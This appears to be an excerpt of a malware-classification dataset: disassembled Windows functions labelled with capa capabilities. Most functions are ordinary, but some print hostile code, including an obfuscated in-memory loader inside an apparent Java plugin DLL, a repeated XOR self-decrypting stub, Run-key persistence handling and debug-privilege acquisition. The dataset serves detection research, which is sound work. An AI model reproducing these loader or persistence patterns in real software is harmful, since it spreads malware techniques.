joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d641000
Capabilities:
Find taskbar

Disassembly:
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
push edi
xor edi, edi
push edi
push str.Shell_TrayWnd
push edi
push edi
call esi
cmp eax, edi
je 0x6d641022
push edi
push str.TrayNotifyWnd
push edi
push eax
call esi
pop edi
pop esi
ret

Function at 0x6d64144f
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x2cc]
sub esp, 0x34c
mov eax, dword [0x6d651910]
xor eax, ebp
mov dword [ebp + 0x2c8], eax
push esi
push 0x104
lea eax, [ebp + 0xc0]
push eax
push dword [0x6d656a40]
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0xc0]
push eax
call fcn.6d641415
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp + 0x1c4]
push str._sjavacpl.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x38
xor esi, esi
lea eax, [ebp - 0x7c]
push esi
push eax
call sub.MSVCR100.dll_memset
lea eax, [ebp + 0x1c4]
mov dword [ebp - 0x70], eax
add esp, 0x20
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x3c
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x6c], 0x6d64b5fe
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], 5
mov dword [ebp - 0x60], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x6d64150a
push 0x10
push str.Unable_to_Start_Java_TM__Plug_in_Control_Panel
lea eax, [ebp + 0x1c4]
push eax
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp + 0x2c8]
xor ecx, ebp
pop esi
call fcn.6d649821
add ebp, 0x2cc
leave
ret

Function at 0x6d641a0e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push str.START___Native___JVM___Java_console_initialization
call fcn.6d641194
mov eax, dword [ebp + 0xc]
xor edi, edi
pop ecx
cmp eax, edi
jne 0x6d641a31
mov eax, 0x80004005
jmp 0x6d641aba
push esi
mov esi, dword [ebp + 8]
mov dword [esi + 0x328], eax
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jne 0x6d641a4c
mov eax, 0x80004005
jmp 0x6d641ab9
push edi
push edi
mov dword [esi + 0x318], 0xbbd
mov eax, dword [0x6d656a40]
push 1
push edi
mov dword [esi + 0x324], eax
call dword [sym.imp.kernel32.dll_CreateEventA]
push eax
mov dword [esi + 0x330], eax
call dword [sym.imp.kernel32.dll_ResetEvent]
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x6d6418fa
push edi
push edi
call dword [sym.imp.kernel32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x330]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [esi + 0x330]
call dword [sym.imp.kernel32.dll_CloseHandle]
push str.END_____Native___JVM___Java_console_initialization
mov dword [esi + 0x330], edi
call fcn.6d641194
pop ecx
xor eax, eax
pop esi
pop edi
leave
ret 8
Function at 0x6d6420d8
Capabilities:
Terminate process

Disassembly:
mov ecx, dword [esp + 8]
mov eax, dword [ecx]
add eax, eax
mov dword [ecx], eax
push esi
mov esi, dword [esp + 8]
shl eax, 2
push eax
push dword [esi]
call dword [sym.imp.MSVCR100.dll_realloc]
pop ecx
pop ecx
test eax, eax
jne 0x6d64210d
push 0x6d64c1e0
call dword [sym.imp.MSVCR100.dll_perror]
pop ecx
push 1
call dword [sym.imp.MSVCR100.dll_exit]
mov dword [esi], eax
pop esi
ret 8

Function at 0x6d6428bd
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x17e8]
mov eax, 0x1868
call fcn.6d649990
mov eax, dword [0x6d651910]
xor eax, ebp
mov dword [ebp + 0x17e4], eax
push esi
lea eax, [ebp + 0xc8]
mov esi, ecx
push eax
mov dword [ebp - 0x80], esi
call fcn.6d64a551
pop ecx
test al, al
jne 0x6d642902
lea eax, [ebp + 0xc8]
push eax
lea ecx, [esi + 0x20]
call fcn.6d64467c
lea eax, [ebp + 0xc8]
push 0x6d64bea0
push eax
call dword [sym.imp.MSVCR100.dll_strstr]
pop ecx
pop ecx
test eax, eax
jne 0x6d642a73
push ebx
push edi
mov edi, 0x104
push edi
lea eax, [ebp + 0x12d0]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.MSVCR100.dll_sprintf]
lea eax, [ebp + 0x12d0]
push eax
lea eax, [ebp + 0x14d8]
push str._sSunJavaDeploymentLibTrusted
push eax
call esi
mov ebx, dword [sym.imp.kernel32.dll_FindFirstFileA]
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x14d8]
push eax
call ebx
mov dword [ebp - 0x7c], eax
push edi
lea eax, [ebp + 0x13d4]
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x13d4]
push 0x5c
push eax
call dword [sym.imp.MSVCR100.dll_strrchr]
pop ecx
pop ecx
test eax, eax
je 0x6d64298f
mov byte [eax], 0
lea eax, [ebp + 0x13d4]
push eax
lea eax, [ebp + 0x15dc]
push str._sjss
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x15dc]
push eax
call ebx
or ebx, 0xffffffff
mov edi, eax
cmp dword [ebp - 0x7c], ebx
jne 0x6d6429c6
cmp edi, ebx
je 0x6d642a71
mov ecx, dword [ebp - 0x80]
lea eax, [ebp + 0x16e0]
push eax
call fcn.6d64a551
cmp dword [ebp - 0x7c], ebx
je 0x6d642a38
cmp edi, ebx
je 0x6d642a14
lea eax, [ebp + 0x15dc]
push eax
lea eax, [ebp + 0x14d8]
push eax
lea eax, [ebp + 0x16e0]
push eax
lea eax, [ebp + 0x10c8]
push str._Djava.ext.dirs_slibext__s__s
push eax
call esi
mov esi, dword [sym.imp.kernel32.dll_FindClose]
add esp, 0x14
push dword [ebp - 0x7c]
call esi
push edi
call esi
jmp 0x6d642a62
lea eax, [ebp + 0x14d8]
push eax
lea eax, [ebp + 0x16e0]
push eax
lea eax, [ebp + 0x10c8]
push 0x6d64bf04
push eax
call esi
add esp, 0x10
push dword [ebp - 0x7c]
jmp 0x6d642a5c
cmp edi, ebx
je 0x6d642a62
lea eax, [ebp + 0x15dc]
push eax
lea eax, [ebp + 0x16e0]
push eax
lea eax, [ebp + 0x10c8]
push str._Djava.ext.dirs_slibext__s
push eax
call esi
add esp, 0x10
push edi
call dword [sym.imp.kernel32.dll_FindClose]
mov ecx, dword [ebp - 0x80]
lea eax, [ebp + 0x10c8]
push eax
call fcn.6d642113
pop edi
pop ebx
mov ecx, dword [ebp + 0x17e4]
xor ecx, ebp
pop esi
call fcn.6d649821
add ebp, 0x17e8
leave
ret
Function at 0x6d642a89
Capabilities:
Get memory capacity

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x12c
mov eax, dword [0x6d651910]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
push edi
push 8
mov dword [ebp - 0x80], ecx
pop ecx
xor eax, eax
lea edi, [ebp - 0x78]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x70]
fild dword [ebp - 0x70]
test eax, eax
jns 0x6d642ace
fadd qword [0x6d64c398]
fld qword [0x6d64c390]
fmul st(1), st(0)
fmul st(1), st(0)
fxch st(1)
call fcn.6d6499d0
fild dword [ebp - 0x5c]
mov esi, eax
mov eax, dword [ebp - 0x5c]
test eax, eax
jns 0x6d642af1
fadd qword [0x6d64c398]
fmul st(1)
fmul st(1)
call fcn.6d6499d0
mov ebx, eax
mov edi, 0x80
cmp esi, ebx
jl 0x6d642b26
mov eax, dword [ebp - 0x6c]
fild dword [ebp - 0x6c]
test eax, eax
jns 0x6d642b15
fadd qword [0x6d64c398]
fmul st(1)
fmulp st(1)
call fcn.6d6499d0
cmp eax, edi
jg 0x6d642b28
push 0x40
jmp 0x6d642b38
fstp st(0)
cmp esi, 0x20
jle 0x6d642b22
cmp esi, 0x40
jg 0x6d642b36
cmp ebx, edi
jl 0x6d642b22
push 0x60
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
pop edi
push edi
lea eax, [ebp - 0x58]
push str._Xmx_dm
push eax
call esi
mov ecx, dword [ebp - 0x80]
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
call fcn.6d642113
push edi
lea eax, [ebp - 0x58]
push str._Djavaplugin.maxHeapSize_dm
push eax
call esi
mov ecx, dword [ebp - 0x80]
add esp, 0xc
lea eax, [ebp - 0x58]
push eax
call fcn.6d642113
mov ecx, dword [ebp + 0xa8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d649821
add ebp, 0xac
leave
ret

Function at 0x6d6455a1
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d6455ef
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d645600
push 0xd
pop eax
jmp 0x6d64562a
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d645603
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8
Function at 0x6d645bc0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d651910]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d64a551
mov ebx, eax
cmp ebx, esi
je 0x6d645c33
lea ecx, [ebp - 0x74]
call fcn.6d6454cf
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d649821
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d645c4b
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d645bc0
cmp eax, esi
jne 0x6d645c7d
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x6d645c3b
lea ecx, [ebp - 0x74]
call fcn.6d6454cf
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d645460
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d6454cf
mov eax, esi
jmp 0x6d645c19
Function at 0x6d64828f
Capabilities:
Query environment variable

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esp + 8], ebx
je 0x6d6482b2
push 0x104
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x6d6482b2
mov bl, 1
mov al, bl
pop ebx
ret

Function at 0x6d6489a2
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x6d64ac61
call fcn.6d64987b
mov eax, dword [ebp + 8]
push 0x104
push eax
xor edi, edi
push edi
push edi
xor ecx, ecx
push 0x6d64d7e8
mov word [eax], cx
mov dword [ebp - 4], edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x6d648a16
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__NULL__pPath__MAX_PATH_
call fcn.6d6494e6
pop ecx
pop ecx
push edi
push esi
call fcn.6d64a551
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.6d649254
push eax
push esi
push 0x6d64d4ac
call fcn.6d6494e6
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x6d648a0f
ret
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x6d648ac7
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x6d648a73
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x6d6489da
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x6d648ac7
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x6d648ac7
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x6d6489da
mov eax, esi
call fcn.6d6498e7
ret

Function at 0x6d649821
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d651910]
jne 0x6d64982b
repz ret
jmp fcn.6d649f78
Function at 0x6d64a551
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x6d64a560
pop dword [ebp - 0x4c]
mov eax, 0x99cfe1db
add eax, 0xd394c385
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x3178e8a7
add dword [ebp - 0x5c], 0x1cd95ca4
mov dword [ebp - 0x58], 0x9999c04e
sub dword [ebp - 0x58], 0x67667409
mov dword [ebp - 0x54], 0x6333c0bb
sub dword [ebp - 0x54], 0x16e77c8d
mov dword [ebp - 0x50], 0xf96ef332
sub dword [ebp - 0x50], 0xf96ef332
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xdb8195be
sub dword [ebp - 0x5c], 0x670f2c68
mov dword [ebp - 0x58], 0xbf2b19af
sub dword [ebp - 0x58], 0x7dbeb83a
mov dword [ebp - 0x54], 0x7c21cec3
add dword [ebp - 0x54], 0xe74d9da9
mov dword [ebp - 0x50], 0x6c5bb278
add dword [ebp - 0x50], 0x93a44d88
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xc2f2764
sub eax, 0x9eca7728
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x36a58
push 0
call eax
mov ecx, 0x5f0dd34a
add ecx, 0xa0f2727a
xor edx, edx
add edx, eax
mov ebx, 0xa185fef0
add ebx, 0xcbe06710
add ebx, dword [ebp - 0x4c]
mov edi, 0xf994c3e4
sub edi, 0xa66de737
xor dword [ebp - 0x44], 0xa90070b6
mov esi, dword [ebx]
add esi, edi
sub dword [ebp - 0x28], 0x9dc3ef7d
mov dword [edx], esi
mov dword [ebp - 0x44], 0x5ea9efe7
add edx, 0xe37ab554
add edx, 0x1c854ab0
add ebx, 0x1fb80e06
add ebx, 0xe047f1fe
loop 0x6d64a67f
add eax, 0xbf52a1d9
add eax, 0x40ae680a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d640000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x408f8f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004057ce
and dword [ebp - 0x14], 0
cmp dword [0x411ca8], 0
mov dword [ebp - 0x18], eax
jne 0x409042
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4090ea
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4090ea
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411cac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411cb0], eax
call edi
push eax
call esi
mov dword [0x411cb8], eax
test eax, eax
je 0x409042
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cb4], eax
mov eax, dword [0x411cb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40909b
cmp dword [0x411cb8], ecx
je 0x40909b
push eax
call esi
push dword [0x411cb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40909b
test ebx, ebx
je 0x40909b
call edi
test eax, eax
je 0x409092
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409092
test byte [ebp - 8], 1
jne 0x40909b
or dword [ebp + 0x10], 0x200000
jmp 0x4090ce
mov eax, dword [0x411cac]
cmp eax, dword [ebp - 0x18]
je 0x4090ce
push eax
call esi
test eax, eax
je 0x4090ce
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4090ce
mov eax, dword [0x411cb0]
cmp eax, dword [ebp - 0x18]
je 0x4090ce
push eax
call esi
test eax, eax
je 0x4090ce
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca8]
call esi
test eax, eax
je 0x4090ea
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4090ec
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402ac4
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403a74
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x390
mov eax, dword [0x44608c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
mov eax, 0x101
push 0
push eax
mov ecx, esi
mov dword [ebp - 0x390], eax
call fcn.004046c1
cmp dword [esi + 0x14], 8
jb 0x403aaa
mov eax, dword [esi]
jmp 0x403aac
mov eax, esi
lea ecx, [ebp - 0x390]
push ecx
push eax
push 2
call sub.Secur32.dll_GetUserNameExW
test al, al
je 0x403adf
push 0
push dword [ebp - 0x390]
mov ecx, esi
call fcn.004046c1
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004065bb
mov esp, ebp
pop ebp
ret 4
push 0x4243c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xf
lea ecx, [ebp - 0x38c]
call fcn.004018f5
push 0x442bc0
lea eax, [ebp - 0x38c]
push eax
call fcn.004073d4
int3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x402aa0
Capabilities:
Accept command line arguments

Disassembly:
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.004029e0
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
ret 0x10

Function at 0x402d76
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x406018]
jne 0x402d80
repz ret
jmp fcn.004031ad
Function at 0x401000
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x208]
push eax
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x208]
push ecx
push str._shhh4h4h4h3838s.jpg
lea edx, [ebp - 0x410]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401053
xor al, al
jmp 0x40108d
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40108b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x4010a0
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call section..text
movzx eax, al
test eax, eax
je 0x4011ee
mov dword [ebp - 4], 0
mov dword [ebp - 0x50], str.Windows_Update_39405
mov dword [ebp - 0x4c], str.Windows_Upgrade_Manager
mov dword [ebp - 0x48], str.Microsoft_Windows_Driver
mov dword [ebp - 0x44], str.Microsoft_Windows_Services
mov dword [ebp - 0x40], str.Microsoft_Windows_Update_Service
mov dword [ebp - 0x3c], str.Host_Process_for_Windows_Services
mov dword [ebp - 0x38], str.Microsoft_Windows_Manager
mov dword [ebp - 0x34], str.Desktop_Window_Manager
mov dword [ebp - 0x30], str.WinCfgMgr
mov dword [ebp - 0x2c], str.Windows_Update_Service_Manager
mov dword [ebp - 0x28], str.Microsoft_Windows_Update_Services
mov dword [ebp - 0x24], str.Microsoft_Update_495036
mov dword [ebp - 0x20], str.Microsoft_Windows_Service_Installer
mov dword [ebp - 0x1c], str.Microsoft_Windows_Driver_Configuration
mov dword [ebp - 0x18], str.Microsoft_Windows_Installer_Svc
mov dword [ebp - 0x14], str.Windows_Security_Manager
mov dword [ebp - 0x10], str.Microsoft_Windows_Service
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push 0x4023c8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401191
mov dword [ebp - 0x54], 0
jmp 0x40116d
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
cmp dword [ebp - 0x54], 0x44
jae 0x401187
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp + eax*4 - 0x50]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x401164
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011ee
mov dword [ebp - 0x58], 0
jmp 0x4011ca
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x58], 0x44
jae 0x4011e4
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp + eax*4 - 0x50]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x4011c1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x6ae1b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.006ae140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.006ae140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.006ae140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.006ae140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x6aebfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6aec50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x6c087c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6aec43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x6aec52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx